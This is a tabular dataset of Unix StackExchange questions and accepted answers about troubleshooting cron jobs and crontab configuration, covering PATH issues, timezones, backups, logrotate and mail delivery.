date
int64
1,220B
1,719B
question_description
stringlengths
28
29.9k
accepted_answer
stringlengths
12
26.4k
question_title
stringlengths
14
159
1,370,511,561,000
I have various backup-style scripts which run from cron on a headless server (Ubuntu 14.04), typically on a daily schedule. Cron is configured with a mail server so I get feedback from jobs. Normally these backup scripts are written to run without any stdout/stderr output on success (following the standard Unix paradi...
I have now begun to write a wrapper utility to solve my own problem here, called cromer. It is now working in a basic form. Any contributions/pull requests/issues etc. welcome.
How I can ignore transient failures in scripts run by cron?
1,370,511,561,000
I'm running crontab on Ubuntu 14.04, on DigitalOcean's VPS service. I've made a web scraper to do a job every two hours. My issue is, cron disregards the hours I've set and follows the minute instruction. Here is my cron line 30 8,10,12,14,16 * * * /usr/bin/python /path/to/myscript.py Instead of doing this job at 8.3...
Just to save the answer from the comments: The problem turned out to be that cron had started under one TZ value; afterwards, the TZ was changed (affecting future processes), but it was not until cron was restarted with the new TZ that cron jobs ran at the correct time.
Cron not keeping to specified time
1,370,511,561,000
I wrote a script to check for wifi connection that has an "if then else" statement. If I run the script manually the "if" statement is 1, as it should, if the crontab runs it automatically the "if" is 0 and the script runs the else commands. Can someone imagine a reason for it to yield different results? The script "i...
The ifconfig binary resides in /sbin, which by default is not on the cron path. Use full paths to the commands: if /sbin/ifconfig wlan0 | /bin/grep -q "inet addr:" ; then
crontab versus manual running script
1,370,511,561,000
I have a script that checks to see if port 4000 is open and listening, if it is return true, else start a service that also outputs a logfile. The script runs fine if I execute it as a user, but if I add it as a cron it doesn't run. I'm logged in as root, the script is owned by root, the script has executable permissi...
Cron doesn't start with common environment variables that your user has, including $PATH. You have the full path in your cron, which is good, but you need to add it to your script as well. which lsof and which seoserver will give you the full path. Modify your script to use that instead of lsof and seoserver.
Why scripts run as user but not as a cron?
1,370,511,561,000
I tried to set up wallpaper change via cron in /etc/crontab, but I failed. DISPLAY env set directly / before cmd, but still it's not working: DISPLAY=:0.0 * * * * * ad env DISPLAY=:0.0 /usr/bin/awsetbg -a -r /home/ad/img/beauty/ * * * * * ad DISPLAY=:0.0 /usr/bin/awsetbg -a -r /home/ad/img/beauty/ * * * * * ad e...
I guess it's changing HOME=/ to HOME=/home/ad.
Changing user's wallpaper via system crontab
1,370,511,561,000
I am doing a Makefile which I run regularly by Crontab every day at 0230 crontab -e; 30 2 * * * /bin/thePseudocode Python-like Pseudocode directories = ["Cardiology", "Rheumatology", "Surgery"] for directory in directories files = directory.files(); % not sure if such a parameter exists files = files.match(.*te...
If I understand correctly, you're looking for something like this (in bash): #!/usr/bin/env bash ## avoid errors if a directory has no *tex files shopt -s nullglob directories=("Cardiology" "Rheumatology" "Surgery"); ## Change this to set whichever options you want. printf "%s\n%s\n" "\documentclass{YOURCLASS}" "\b...
To write this Pseudocode with Regex
1,370,511,561,000
crontab -e 0 */4 * * * root /usr/bin/rsnapshot hourly 30 3 * * * root /usr/bin/rsnapshot daily 0 3 * * 1 root /usr/bin/rsnapshot weekly 30 2 1 * * root /usr/bin/rsnapshot monthly tail /var/log/cron Jun 13 21:01:01 web-backups run-parts(/etc/cron.hourly)[2795]: starting 0anacron Jun 13 21:01:01 web-backups run-parts(...
The format you are using for your crontab is the /etc/cron.d format. When using crontab -e to edit the crontab, the username is not specified. The user used to run the job is the user that ran crontab -e. Basically, change to this: 0 */4 * * * /usr/bin/rsnapshot hourly 30 3 * * * /usr/bin/rsnapshot daily 0 3 * * 1 /u...
Crontab does not run?
1,370,511,561,000
I've experienced an issue where some of my scripts run perfectly fine when I call them manually, but these same scripts when called as cron jobs via cron don't seem to work at all. So my question: I'd like to know if there are restrictions that apply with the use of commands and/or scripts (and the privilege of execu...
The most common reason why commands that work fine from the command line would fail under cron is the fact they run under a stripped down environment with only a handful of variables defined. In particular PATH is set to its default value. Any customization done in dot files (.profile /etc/profile and the likes) is no...
Does cron impose some limitations to types of commands and privilege of execution? [duplicate]
1,369,877,415,000
I have a backup script which is run daily by Anacron. It can take around 3 hours to complete. I'm happy for Anacron not to commence the script if the laptop is running on batteries, but once started, I don't want it to be terminated if battery mode commences, since doing so leaves me with an incomplete backup and a fa...
Found this blog post titled: Linux: Anacron tips, which describes how to block anacron from getting killed when the power state is on battery: excerpt from blog post IMPORTANT: If your are using anacron on a laptop, anacron will stop (get killed) when running on battery and your scripts will not get executed. Thi...
How to prevent the termination of Anacron jobs after battery mode commences?
1,369,877,415,000
I want to be able to push a repository to Github at midnight, every night. I know that Github isn't a back-up service, and, in no way am I expecting it to be this - I just want the best up-to-date version on Github and this works for me, and, my team. What I was thinking is this: Creating a Bash script that pushes th...
As the links described as harish.venkat Create a script /path_to_script, which would add new file, commit and push. #!/bin/sh cd /location/of/clone git add * if [[ $? != 0 ]] then mail -s "add failed" [email protected] exit 1 fi git commit -a -m "commit message, to avoid being prompted interactively" if [[ $?...
Crontab with Github
1,369,877,415,000
I'm trying to use cron for the first time, and I'm stuck. I'm using Ubuntu 10.10, and the following is my /etc/crontab file. The only modification that I've made is appending the last line. I've verified that cron is running, and the other jobs here run, but the last one does not. # /etc/crontab: system-wide crontab #...
I hate to ask the obvious, but is /etc/mycron/myscript.sh executable? You can check with: ls -l /etc/mycron/myscript.sh Should generally see 3 x's. If not, try: chmod -V +x /etc/mycron/myscript.sh You can also use sh or bash to run the script, using this line in the cron instead: sh /etc/mycron/myscript.sh
Cron job not executing
1,369,877,415,000
I need to create and put my cron file with cat cronfile1 cronfile2 > cronfile crontab cronfile -u myuser This works for me, but I want to know if I can do directly cat cronfile1 cronfile2 > /var/spool/cron/crontabs/myuser Of course I am root, and I'm doing this from busybox. Is it safe or am I doing something wrong ...
You should use the crontab command so that the daemon notified about the chanage and parse errors can be warned about. It is not advisable to manually write the file.
Can I bypass crontab command by putting the file?
1,369,877,415,000
I'm trying to zip a directory and copy it over as a backup. I'm new to Linux to so I followed guides as best as I could, but when trying systemctl status cron I get the following error: Apr 27 13:34:01 mc-server cron[950]: Error: bad username; while reading /etc/crontab Running the command standalone works as expect...
From man 5 crontab: The ``sixth'' field (the rest of the line) specifies the command to be run. The entire command portion of the line, up to a newline or % character, will be executed by /bin/sh or by the shell specified in the SHELL variable of the crontab file. Percent-signs (%) in the command, unless escaped w...
Why is my crontab giving me a bad username error?
1,369,877,415,000
We are trying to schedule a script to run at 9am ET every day throughout the year, regardless of daylight savings. On our GCP Compute Engine / Linux Server, cron runs in UTC always. It is easy enough to adjust -4 or -5 hours to run in ET, however the issue of daylight savings is (mildly) problematic, as we have to cha...
Try setting both of these in your cron: CRON_TZ='America/New_York' TZ='America/New_York' EDIT: you can put the shell file wherever you like. On the tar line, you'll enter the command you need executed (be it a script or whatever). crontab -e and type the CRON_TZ=<YOUR/TZ> Right below CRON_TZ you point to the locati...
Run crontab in America/New_York time zone
1,369,877,415,000
I have installed ssmtp on an raspberry pi running Raspbian 10 Buster. Email from the command line, e.g. using mail works fine. However, I have also configured a user's cron job to send email by adding the MAILTO variable to the file. # Edit this file to introduce tasks to be run by cron. # # Each task to run has to b...
You've written that, The /usr/bin/ssmtp binary runs as the mail group and can read this file But you have shown that this is not the case for your binary: -rwxr-xr-x 1 root root 30588 Jul 20 2014 /usr/sbin/ssmtp What the Wiki says is, Because your email password is stored as cleartext in /etc/ssmtp/ssmtp.conf, i...
Cron not sending email, command line email works
1,369,877,415,000
I have an issue that has probably something to do with the PATH variable. This is a email I got with error about a script running in cron: Cron Daemon <mail.org> 05:08 (15 hours ago) to root, bcc: me mail: Null message body; hope that's ok tar: Fjerner indledende '/' fra medlemsnavne mail: Null m...
When the cronjob is run, 'logwatch' cannot be found. Since logwatch is installed, this probably means that it's missing from the path. You can fix this by adding '/usr/sbin' to the PATH in the /etc/crontab file. Another way to fix this if you don't have privileges to edit /etc/crontab is simply to use the full path t...
cron script cannot find logwatch and chkrootkit
1,369,877,415,000
I know this sounds weird... I have a project which will run "logrotate myConf.conf" automatically every hour. Besides, in my cron/, there is also a logrotate running... The two process might have chance to modify the same log file In this case what will happen? Will the log file be totally screwed? or just one of the ...
Yes, there may be issues relating to the state file that logrotate keeps. See my answer to a question about a corrupt state file due to concurrent runs of logrotate from cron: /var/lib/logrotate/status gets invalid entries The summary: be sure that your specific rotation job is either run as part of the system's ord...
what if two logrotate run concurrently
1,369,877,415,000
I want a python script to send notification. The script can be run successfully and show what I want. but crontab did not boot it in right way. the following is the the code refer to the libnotify def SendMessage(title, message): pynotify.init("ChinaBank") notice = pynotify.Notification(title,message) not...
I find the answer from here. Update Pidgin IM status on Ubuntu using cron cron run in its own environment, therefore, we have to find the variables DBUS_SESSION_BUS_ADDRESS, XAUTHORITY, and DISPLAY. I followed the instruction and succeeded to set the variables. My script can work now!
dbus-laauch failed caused by the child process exited
1,369,877,415,000
So, I am having some trouble with my cron setup - I am assuming it is a mistake I have made as this is the first time I have set it up. I have two jobs I have setup in cron, one to run at 1am the other at 2am, daily. This is my /etc/crontab: SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details...
Try replacing the long command invocation and redirected output that you are trying to invoke with a script that does the same thing, e.g. put the line /usr/local/mysql/bin/mysqldump -usomeuser -psomepassword --opt zabbix > "/backups/zabbix_mysqldb.sql_$(date +%F_%R)" into a script file, say /root/mytestscript, make ...
Trouble with crontab CentOS 7 - not processing jobs
1,369,877,415,000
Running a python script on raspbian every min, here the crontab line: * * * * * /usr/bin/python3 /something/code.py >> /something/code.txt However, code.txt shows me that it stops halfway in the code. I.e: Hello 1 Hello 2 When run manually, I get more hello's, no errors. Things I've done: Added: #!/usr/bin/python...
Probably your script needs some environmental variables that crontab doesn't set by default. Keep in mind that crontab environment variables are very limited. There are several approaches to set your environment variables in cron: Set each variable you need in your script. Export a completer PATH than the default set...
Crontab stops halfway
1,369,877,415,000
I'm using a beaglebone black which works with Debian 8.6. I want to start a program after reboot. I tried crontab but it didn't work. @reboot sleep 60 && /home/debian/acspilot/start.sh Program consists of a config.sh file and a acsp.py python script. Each code works fine from terminal. Here are the codes: start.sh: ...
The script has a sudo'ed line, and if it is cronned to a non-root user, the shell cannot be executed by itself. Instead you should first be root with sudo su - And then crontab -e as root user and add the task line
Run shell script after reboot in beaglebone black
1,369,877,415,000
I'm using a script which is working in Stand alone and is not working through the cron job . qexma1@test:bin> head -n 10 test.sh #!/bin/bash declare -r PATH='/sbin:/bin:/usr/sbin:/usr/bin' source $AEM_CONFIG/aem-wrap.conf Cron Job : qexma1@test:bin> crontab -l | grep aem-test.sh 01 15 * * * bin/test.sh -b ; touch bin...
As the output to stderr is as below, it means variable $AEM_CONFIG is not getting set. That is why the job fails. /global/appaem/aem/bin/aem-test.sh: line 5: /aem-wrap.conf: No such file or directory To fix the issue, revise the script to source the relevant file that sets $AEM_CONFIG. As you point out the variable ...
Shell script is not working via cron job
1,369,877,415,000
When to run my scripts that go run reports can vary within the month as the data is not available at a standard time; sometimes on the 8th, sometimes on the 10th, etc. I have many reports to execute so it would be fantastic to use the cron file like so: ##### VARIABLES ##### DAY_TO_RUN=8 ##### Monthly ##### ...
cron by its nature do not yield to variable timing. What you want is a 3rd party job scheduler. A well known paid one is called "maestro" from the company formerly known as Tivoli (now IBM I think). Many open source equivalents exist just use google and the keywords. Once you are in the job scheduler software land, yo...
Crontab: variables in the date/time fields
1,369,877,415,000
kenneth@ballotreport:~$ crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minut...
I can't find documentation to confirm or deny this but remember that cron entries are not shell scripts. I assume that the logical or is not allowed. Either add the logic to prevent multiple instances (which I believe is why you use the pgrep) in the script or create a wrapper script to be scheduled in cron.
My cron is not running, nothing is showing in /var/mail/<username> or in /var/log/syslog
1,369,877,415,000
I succeeded in transferring all files from a folder via ftp from a remote server to a raspberry, but I would like to transfer only new ones. Below is the working script i have. #!/bin/bash -vx ftp -in IP_SERVER<<END_SCRIPT quote USER rem_user quote PASS rem_pass bin prompt:off cd /path_to_server_files lcd /path_to_loc...
SOLUTION - I got this script to work. thank you for all the support you gave, If i have enough time to be working on this i'll keep trying the other options and make them work as well. #!/usr/bin/python import os from ftplib import FTP local_path='/path_to_local_files/' os.chdir(local_path) ftp = FTP(host='server_nam...
Transferring mp3 files from a remote server via cronjob to the RPi without overwriting
1,369,877,415,000
I am trying to run a simple echo script via crontab. I set that to run every minute, but it doesn't give output on shell screen. However, it runs fine when I run the script independently. Script #!/bin/bash echo "Test Script" Crontab entry: root@example-server ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/us...
The output of a cron job doesn't go to your screen. It can't — you might not even be logged in by the time the job runs! The output of a cron job is sent via email. A working unix system always has a local email facility, which is independent of a network connection. If you want your local email to be sent to a remote...
script running in crontab not giving output on shell screen
1,369,877,415,000
When I look at the questions and answers on this forum, it seems like the threshold to ask a question is very high. At least for someone like me, with very little knowledge of Linux. Most of the questions about cron jobs are out of my league, including the answers. So with a little bit of embarrassment, I am going to ...
When you run the crontab -e command, it lets you edit a temporary file. When you exit the editor, the temporary file is checked for syntax errors, and if there aren't any, it's installed in the system directory that contains users' crontabs. If you save the file to a different location, then the temporary file will no...
Creating a cron job and watching its output in real time
1,369,877,415,000
I've created an custom clamscan(clamav) in bash and when I run it in my shell everyhing is fine, but if I run it in a cron, it can't create the log file. This are the errors: /root/Scripts/clamscan : line 9: /var/log/clamscan/weekly/clamscan-Test-2014-09-16.log: No such file or directory /bin/bash: /root/Scripts/cla...
I found the answer: Note this system is Fedora 20. SELinux was denying clamscan from writing, creating and more to the system. So follow the directions in the SELinux troubleshooter on allowing clamscan the access and repeat for all accesses. There was also a denial on mailx but that didn't do anything visible to the ...
How to make my bash script be able to create an log file for a clamscan running in cron?
1,369,877,415,000
We have logrotate working for several Centos servers. One new server has a slightly different setup, and for some reason logrotate does not work for the httpd service. When I start it manually, it does work as expected. I've set this up last week, and it didn't run once in four days. The file /etc/cron.daily/logrotat...
The cron was not running. After a restart the cron worked, and logrotate started to work as well.
Logrotate does not work for httpd service [closed]
1,369,877,415,000
I have an XML files to read and load into database daily at night (cron) So i planed to do this in a batch. Is there any command line tool to : 1. Create a postgres schema using an XSD file? 2. Transform an XML file into SQL commands for postgres? Any other solution is welcome.
You can generate SQL commands to import your file using xmlstarlet. Here is an example.
XML command line tool postgres
1,369,877,415,000
in my php script which runs as a cron job, I have foreach($sites as $site) { exec('./wkhtmltoimage-amd64 ' . $site . ' somefile.png'); exec('./zopflipng -y somefile.png somefile.png'); } to generate screenshots monthly for each site. Now, this cron job runs once a month, and in the unlikely event that someon...
I think I would just test to see if the file exists, if it does then flip it. You should be able to test for file existence quite easily from PHP. You could also do it from the shell (likely Bash or Bourne Shell) when you run the function exec(). exec('[ -f somefile.png ] && ./zopflipng -y somefile.png somefile.png'...
kill process in script while writing file behavior
1,369,877,415,000
I'm looking a update manager for Debian Xfce. I installed xfce on a computer which will be use by laypersons. Therefore, I want another way (graphical) to launch apt-get update && apt-get upgrade. But I don't want to slow the system by adding gnome dependencies (update-manager-gnome is then not a solution). The soluti...
Well as jofel commented there is unattended-upgrade to automate the upgrade process, there is also the update-manager-core package that gives you access to the update-manager-text binary. Also, the normal package manager will do this quite nicely whenever you ask them (apt-get upgrade or aptitude full-upgrade). This p...
Is there a update manager whitout gnome dependencies for xfce?
1,369,877,415,000
I have a RHEL 6 server without any internet access that is missing a cron installation. I am trying to install crontabs like this but I get this error: [root@netsrvr01 cron.d]# rpm -ivh /Downloads/crontabs-1.10-33.el6.noarch.rpm warning: /Downloads/crontabs-1.10-33.el6.noarch.rpm: Header V3 RSA/SHA1 Signature, key I...
Idea #1 - directory already exists Try running the command rpm -Uvh --test /Downloads/crontabs-1.10-33.el6.noarch.rpm first to see if it reports anything out of the ordinary. If not then do an upgrade of this package instead of an install. I believe it's complaining because this directory already exists, but it's uncl...
How to solve a file path as a failed dependency when installing a RPM?
1,369,877,415,000
I'm running RHEL 5.6. I type $ crontab -e and all I see is Killed I am, however, able to edit a file (let's say I call it crontab.in) and then type $ crontab crontab.in $ crontab -l and see that it works that way and the entry I placed in crontab.in will run when it should. So why is crontab -e not working for me?
Use strace to find out what is going on. Instead of crontab -e type strace crontab -e. That should give a (quite long) list all system calls of the running command. Near the end you should find some kind of error indicating what is wrong. (Often it is an open of a file on which you don't have the needed permissions.)
Cannot edit crontab
1,645,675,515,000
With this cron script I am trying to get Rsync to work */1 * * * * /root/backup.sh `date +today/\%M` And a shell script as the one below #!/bin/bash -x PATH=/bin:/usr/bin:/sbin:/usr/sbin REMOTE="REMOTEADDRESS" RSYNC=/usr/bin/rsync Comment: This works $RSYNC -aqz --exclude-from '/home/root/backups/backup-exclude...
You must ensure that the directory where you are trying to copy to (the dest/dir) exists in the remote computer: rsync -aqz ./ user@host:dest/dir At minimum, all the directories (except the last one) should already exist. That is the same behavior as mkdir: mkdir will only create the last directory (by default, the -...
Why I can't pass a parameter from cron to shell script [closed]
1,645,675,515,000
I want to use crontab to run a script for yum updates. The problem is it seems it will run the script once, then yum is just stuck for a while (and can't be ran again). I get this error: $ sudo yum update Existing lock /var/run/yum.pid: another copy is running as pid 5248. Another app is currently holding the yum lock...
Great answers, but I found I could just make each type of yum update its own crontab entry like so: $ sudo crontab -e #Full system update midnight every Monday and Tuesday 0 0 * * 1,2 /usr/bin/yum -y update 10 0 * * 1,2 /usr/bin/yum -y upgrade #Security updates everyday at 2AM 0 2 * * * /usr/bin/yum -y update --sec...
Yum with crontab - "Another app is currently holding the yum lock"
1,645,675,515,000
I am running Kubuntu 18.04, and have a simple script to reset the plasmashell every time after suspend/lockscreen since there's a known bug that corrupts folder/file names upon returning from suspend. #!/bin/bash dbus-monitor --session "type='signal',interface='org.freedesktop.ScreenSaver'" | while read x; do cas...
Of course the correct way is the always the easiest and obvious way... In this case in Kubuntu 18.04 go to: System Settings --> Startup and Shutdown --> Autostart --> Select the script! Don't forget to make the script file executable! Works like a charm and the process takes virtually no memory as it is running in t...
Kubuntu 18.04, cron task does not load @reboot
1,645,675,515,000
I am trying to repeatedly execute python script(s) using Cron. I have written a shell script that calls that/these python script(s). I have made the shell script as an executable and works perfect both in terminal and just by clicking to execute. I have changed the crowntab to call my shell script at a specific - usu...
As @thrig mentioned - sudo is probably asking for password and bash -x will give additional info of what is executed and what is the output. First of all, it's a good practice to redirect cron output, e.g. 20 13 * * * /my/full/path/to/the/shell_script.sh > ${HOME}/cron.log 2>&1 This will give you output of the scrip...
Cron calling a shell script that calls a python script [RPi3]
1,645,675,515,000
Details OS: Solaris 10 , update 11 HW: M5-32 LDOM, V490, IBM x3650, T5240, VMware virtual machine, etc... EDITOR=vi term=vt100 tmp directory=/var/tmp cron shell=/sbin/sh My shell=/bin/bash Issue A very interesting error occurs when attempting to modify the crontab via crontab -e. If I attempt to search for a non-exist...
Not having the source to Solaris 10 or Solaris 11, I can't say for sure, but I suspect that Thomas Dickey is on the right track, based on his findings with vim. I tracked down the IllumOS source where a search for errcnt in the ex/vi directory shows that errcnt is only ever incremented, and errcnt is used as the retur...
Error while searching for non-existent string with EDITOR=vi crontab -e
1,645,675,515,000
I have a computer with Ubuntu server 15.10 installed on it that sits in the same room I am in. I use it just as a Minecraft server, map renderer and whatever else php scripts I want to run scheduled within my house. I have a few cronjobs set up to render map at 3am, back up game server at 2am, restart Minecraft if ser...
The problem came from this Minecraft backup script. It was set to create the cronjob itself but it would just wipe the entire crontab for whatever reason. Reporting it on their issue tracker.
Crontab resetting itself
1,645,675,515,000
I have to write a shell-script that have to do the following tasks: -in every 5 seconds it saves:     -how many users are using joe and/or vi;     -if someone was using vi at the last examination, but now he isn't using it anymore, the program should print something about that user and if he is your group that y...
a=`ps -ef | grep "joe" |wc -l` b=`ps -ef | grep "vi" | wc -l` echo `date +"%Y%M%D %T"` $a $b >> somelogfile put them under crontab also, in /etc/profile put the something like following: alias vi "vi; mail -s "some message" mailbox"
bash script - supervisor program
1,645,675,515,000
I'm trying to run a script that calls zenity from a crontab and it fails. The script works well from the command line. I do pass the DISPLAY in the crontab: * * * * * DISPLAY=:1 bin/myscript.sh > /tmp/debug.txt 2>&1 In the debug logs, I get: This option is not available. Please see --help for all possible usages. Tr...
It turns out that the issue is in the content of the text. I'm not sure what the difference is between running the script in the command line or in crontab, but the ô is causing the issue. Replacing it by a o, the command works fine in the crontab too: zenity --warning --title "Fais gaffe" --text "Bientot plus de batt...
zenity failing in crontab but working in shell
1,645,675,515,000
I want to run a script every day at 10:25 (exact hour is not important) on my Raspberry Pi (running Raspbian Jessie). With that line : 25 10 * * * /home/pi/test.sh it gave no results, no output and no activity log. I tried with * * * * * /home/pi/test.sh and there magic happens ! It worked fine, producing CMD (/home/...
From the crontab manpage Commands are executed by cron(8) when the minute, hour, and month of year fields match the current time, and at least one of the two day fields (day of month, or day of week) match the current time You are required to have one of the day fields. If you want this to run at 10:25 every day...
Why does crontab works with wildcards (*) but not with numbers?
1,645,675,515,000
I added a new cronjob with a user (SUSE LINUX Enterprise Server 9.4): # su - XXX $ crontab -e and this is what I added: * * * * * echo `date` >> /home/XXX/a.txt but the a.txt isn't created... it will be ONLY created when root restarts the crond... Q: Why? UPDATE: machine:~ # chage -l XXX Minimum: 1 Maximum: ...
strace crontab -e solved it... dunno how.. but it works now.. but all I wanted to do is to check the crontabs lowlevel "operations"..
Why are new cronjobs ignored unless crond is restarted in SLES? [closed]
1,400,072,087,000
I am using bellow to run a page every hour in my Virtualmin installed on CentOS 7 wget https://domain.tld/index.php?page=cron > /dev/null 2>&1 but it creates below files every hour when cron run index.php?page=cron index.php?page=cron.1 index.php?page=cron.2 etc. Please let me know how to avoid creation of these fil...
wget, by default, saves the fetched web page in a file whose name corresponds to the document at the end of the URL (it does not send it to its standard output). If that file already exists, it adds a number to the end of the name. If you don't want to save the document, then specify that you'd like to save it in /de...
How to prevent text file creation by wget in cron job run?
1,400,072,087,000
I want to name file according to parity of a day of a week. In the terminal the following works: $(($(date +\%u)%2)) But this doesn't work in cron (I suspect evaluating of mathematical expressions doesn't work). How can I make this working in cron?
You escaped one percent sign and not the other: $(($(date +\%u)%2)) ^ HERE All percent signs in a crontab entry need to be escaped, because % has special meaning there. To quote from the crontab(5) manpage: The entire command portion of the line, up to a newline or % character, will ...
Evaluate mathematic expression in cron
1,400,072,087,000
I know about nohup. It prevents processes from dying after a hang-up. What I want is my user crontabs to run even if my session has timed out when they are supposed to run. I believe I need the user to be still logged on for that to happen. How do I make sure that the user's crontab are run whatever if he's logged on ...
cron runs whether you are logged-in or not. It's a daemon that checks items in the crontab (cron table) and runs them at the appointed time(s). If you had to be logged-in to do it, it would be pretty unhelpful - more like running a process in the background after a sleep, or in a loop.
Do I need to keep an SSH session alive for cron to run?
1,400,072,087,000
I have a script that have "while true" loop. And I want to run that script from cron on every minute, so that when the process is killed (or is failed - no matter why) cron will run the script again. But when I'm checking the ps -aef --forest there is my process runned by /usr/sbin/CROND -n. This wasn't be bad for cro...
Maybe a short example for a systemd service will do. This is our infinite script, location /path/to/infinite_script , executable bit set: #!/bin/bash while ((1)) ; do date >> /tmp/infinite_date sleep 2 done No we need to define a service file: [Unit] #just what it does Description= infinite date service [Ser...
How should I run a cron command which has forever loop?
1,400,072,087,000
I would like cron to run a script from a specific shell (Zsh). I thought the following would work: 00 02 * * * exec zsh; /path/to/script.sh but apparently it doesn't, why? This also made me wonder, how do I find out what shell and init scripts does cron run first prior to running the entry in crontab?
How about: 00 02 * * * exec /usr/bin/zsh /path/to/script.sh That will tell zsh to run the script. Now you want it to be run in zsh doesn't matter what, just add the shebang in the start: #!/usr/bin/zsh the_rest
Running a cron job from another shell
1,400,072,087,000
I am creating a crontab that compresses 15 minute clips from my security camera into one file (24 Hours Long) and then having the clips delete. avimerge -o /media/jmartin/Cams/video/Full_$(date +%F --date "Yesterday") -i /media/jmartin/Cams/video/$(date +%F --date "Yesterday")* # Converts files from the past 24 hours ...
Two things jump out: You have no checking for failure of the substitution There is a race condition if the date changes between uses of the date command. You could solve them both like this: #/bin/bash # Exit if any command fails set -e dir='/media/jmartin/Cams/video' day=$(date +%F --date Yesterday) # Conbine fi...
Dangers of using rm command with variables
1,400,072,087,000
I have a virtual server (debian) and the clock fails to sync from time to time (probably because i save/restore state with vboxheadlesstray). To fix this issue I run dpkg-reconfigure ntp && ntpq -p, it works when I run it as root, but doesn't work with cron. I have added it in crontab -e (as root user) and is using t...
In Debian, dpkg-reconfigure is located under /usr/sbin, and root obviously has it in his $PATH, but cron limits $PATH to /usr/bin:/bin, even for root. See man 5 crontab : Several environment variables are set up automatically by the cron(8) daemon. SHELL is set to /bin/sh, and LOGNAME and HOME are set from the /e...
dpkg-reconfigure: not found when running in cron
1,400,072,087,000
I have the following command set used to update all my WordPress sites in my CentOs shared-hosting partition on my hosting provider's platform (via daily cron). The wp commands inside the pushd-popd set, are of the WP-CLI program, which is a Bash extension used for various shell-level actions on WordPress websites. fo...
The > file operator opens the file for writing but truncates it initially. That means that each new > file causes the content of the file to be replaced. If you'd want the myErrors.txt to contain the error of all the commands, you'd need either to open that file only once, or use > the first time and >> the other time...
Redirect all lines of code to the same file in a single line
1,400,072,087,000
Let's say I send an email, containing a link to my website, to someone that I really hope he'll visit it (fingers-crossed style): http://www.example.com/?utm_source=email392 or http://www.example.com/somefile.pdf?utm_source=email392 How to make Linux trigger an action (such as sending an automated email to myself) w...
Live log monitoring using bash process substitution: #!/bin/bash while IFS='$\n' read -r line; do # action here, log line in $line done < <(tail -n 0 -f /var/log/apache2/other_vhosts_access.log | \ grep '/somefile.pdf?utm_source=email392') Process substitution feeds the read loop with the output from t...
Trigger an action when an URL has been visited
1,400,072,087,000
[srinkann@sjc-ads-440 ~]$ crontab -e no crontab for srinkann - using an empty one /bin/sh: /usr/bin/vi: No such file or directory crontab: "/usr/bin/vi" exited with status 127 [srinkann@sjc-ads-440 ~]$ In Google, i got the below solution, but no permission for me to do that. ln -s /bin/vi /usr/bin/vi
I suppose that you can use vi. There is a workaround: crontab -l > crontab.txt vi crontab.txt crontab crontab.txt You can make your modifications in the crontab.txt.
Not able to schedule tasks in crontab
1,400,072,087,000
I remember messing around with crontab and setting up email capabilities on a server many months back, and now all of a sudden I'm getting the following email: EMAIL HEADER: from: root <[email protected]> to: root date: Thu, Dec 5, 2013 at 6:48 AM subject: Cron <root@server-ip> test -x /usr/sbin/anacron || ...
This is a cron job that updates the indexes for mlocate, which is used when you run locate on your system to find files. This index allows the program to quickly find files without traversing the filesystem (which is much more expensive, because it's not optimised for that use case). For some reason, the lock file tha...
Mysterious automated emails
1,400,072,087,000
I am trying to add following command to crontab: I=1; for X in $(/bin/ls -r /var/tmp/*); do [ $((I++)) -le 28 ] && echo "lower" || echo "higher"; done When executed on the command line (in bash), the command works fine. But when I add the line into crontab and when executed, cron complains: /bin/sh: 1: arithmetic exp...
Cron, if I'm not mistaken, defaults to /bin/sh. Check /etc/crontab/ for the line SHELL=. It is likely set to /bin/sh (dash). I believe you can set SHELL=/bin/bash in your own user crontab file (the one edited by crontab -e). Or you can script it.
cron: bash syntax not working
1,400,072,087,000
On Debian and its derivatives, how shall we understand the following seemingly contradictory facts: /etc/crontab and /etc/cron.d/* have a user field, meaning that a job is running as the user (either root or nonroot). the jobs in /etc/crontab and /etc/cron.d/* are system jobs not user-specific jobs? If you want to ...
I tend to use the various cron configuration files as follows: /var/spool/cron/crontab is used by “real” users (i.e. users corresponding to humans using the system), edited using crontab -e; /etc/cron.d is used for package-provided cron jobs, which can run as a “system” user (e.g. logcheck for logcheck’s cron jobs); ...
user specific jobs vs system jobs running as specific users
1,400,072,087,000
In /etc/cron.d/myjob, I create a cron task of running a bash script and redirect its stdout and stderr to a log file. The script contains a line of sudo running a command. In the log file: sudo: no tty present and no askpass program specified Does that cause some problem that needs my attention? I was wondering if cr...
"Supposed" is a judgement call. Commands called from /etc/cron.d/ are run as a specified user (either root or any other one; it's defined in the cron line). So, normally, there's no need for sudo. However if you do have a script that calls sudo then you need to make sure the sudoers entry is correct. In particular: ...
Are cron tasks in `/etc/cron.d/` files supposed to not contain `sudo`?
1,400,072,087,000
In Ubuntu 16.04, this is the code I have in /etc/cron.daily/cron_daily: #!/bin/bash for dir in "/var/www/html/*/"; do if pushd "$dir"; then wp plugin update --all --allow-root wp core update --allow-root wp language core update --allow-root wp theme update --all --allow-root rse popd fi done I setted this up yesterda...
Extending the path with * does not work in double quotes. You could try it like this: #!/bin/bash for dir in /var/www/html/*/; do if pushd "$dir"; then wp plugin update --all --allow-root wp core update --allow-root wp language core update --allow-root wp theme update --all --allow-root rse p...
Ubuntu cron.daily returns a path error when a shell glob is used - what's wrong with my path?
1,400,072,087,000
I'm trying to delete files older than six days, then log the files which get deleted. So far. In a sh file, I got following; find /home/pi/ftp/upload -type f -mtime +6 -exec rm {} + Then within sudo crontab 59 23 * * * /home/pi/scripts/cullftp.sh > /var/log/ftp/`date +\%Y-\%m-\%d-\%H\%M\%S`-cull.log 2>&1 But when it...
1) Make sure the script file is executable, and has a proper hashbang line (#!/bin/sh or #!/bin/bash or such), though you should get an error if it isn't executable. 2) find ... -exec rm will not print anything, you'd need to explicitly tell find to print the filenames too, e.g. find ... -exec rm + -print or find ......
shell script to remove files
1,400,072,087,000
I'm using Let's Encrypt to generate SSL certificates automatically every 60-days using a simple shell script. After the script has reloaded these it tries to reload my services using the commands I would type myself into a shell, i.e- service postfix reload and service dovecot reload. However, while the first of these...
It seems that your problem is because cron scripts run with a different PATH value by default. For example, on Ubuntu as root you have /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin in your PATH by default. But your cron script running as root has a more limited PATH value: /usr/bin:/bin. I recommend you...
